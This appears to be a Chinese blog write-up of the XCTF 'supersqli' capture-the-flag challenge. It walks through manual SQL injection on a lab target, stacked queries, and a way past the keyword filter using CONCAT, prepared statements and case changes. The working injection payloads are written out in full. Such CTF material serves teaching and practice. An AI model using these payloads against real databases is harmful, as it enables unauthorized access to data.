2 3 4 5 6 7 8 9 10 11 12

supersqli xctf 攻防世界 web高手进阶区

题目描述

进入题目场景

按F12进入开发者模式,可以从注释中了解到本题不能用sqlmap,只能考虑手动注入判断。

接着要判断是为数字注入还是字符注入

数字注入?inject=1 ?inject=1 and 1=1皆可正常回显

字符注入?inject=1' 报错 ?inject=1' and '1'='1正常回显,说明为字符注入。

判断字段数:在URL中添加?inject=1' order by 1--+语句,其中1,2都可正常显示。

当判断字段数为3时,就报有未知字段,则可以判断出字段数为2.

联合查询****: union运算符可以将两个或两个以上的select**语句的查询结果集合合并成一个结果集显示 。

在URL上添加1' union select database(),user()#语句,发现以下的关键句被过滤了。( 注意的使用union查询的时候需要和主查询语句的列数相同,刚才我们查询得出列数为2 )

这里联合查询的大部分语句被过滤了,所以我们要考虑用别的方法来解题。

堆叠注入: 堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。

在URL中输入?inject=1';show tables--+

可以发现这里有两张表,分别再查询两张表中的列.

通过desc table_name语句可以查询一张表中的所有字段

在URL后输入,可以看到文件里的内容

?inject=1';desc `words`--+   (注意这里为反引号)

没有发现有flag,此时查询另一张表,输入

?inject=1';desc `1919810931114514`--+

此时要查询flag,要考虑到这里需要运用预编译的知识。

扩展:(预编译知识点)

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name
 [USING @var_name [, @var_name] ...] -

{DEALLOCATE | DROP} PREPARE stmt_name

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句


举例:
mysql> PREPARE stmt FROM 'SELECT ?+?';
Query OK, 0 rows affected (0.01 sec)
Statement prepared

mysql> SET @a=1, @b=10 ;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt USING @a, @b;

+-----+
| ?+? |
+-----+
| 11  |
+-----+

将预处理的知识运用到堆叠注入, 这里采用了CONCAT来绕过select的过滤

在URL后输入

?inject=1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

此时发现这里还过滤了set以及prepare

需要注意的一点是这里使用了strstr函数对set和prepare关键字进行了检查

对于strstr函数,它不对大小写进行检查,所以这里可以通过大小写绕过。

在URL后输入

?inject=1';set @sql = CONCAT('Sele','ct * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;--+

得到flag.

借鉴于博主:https://blog.csdn.net/weixin_45613760/article/details/107848982

posted @ 2022-01-16 10:45  MrDevil  阅读(50)  评论(0)    收藏  举报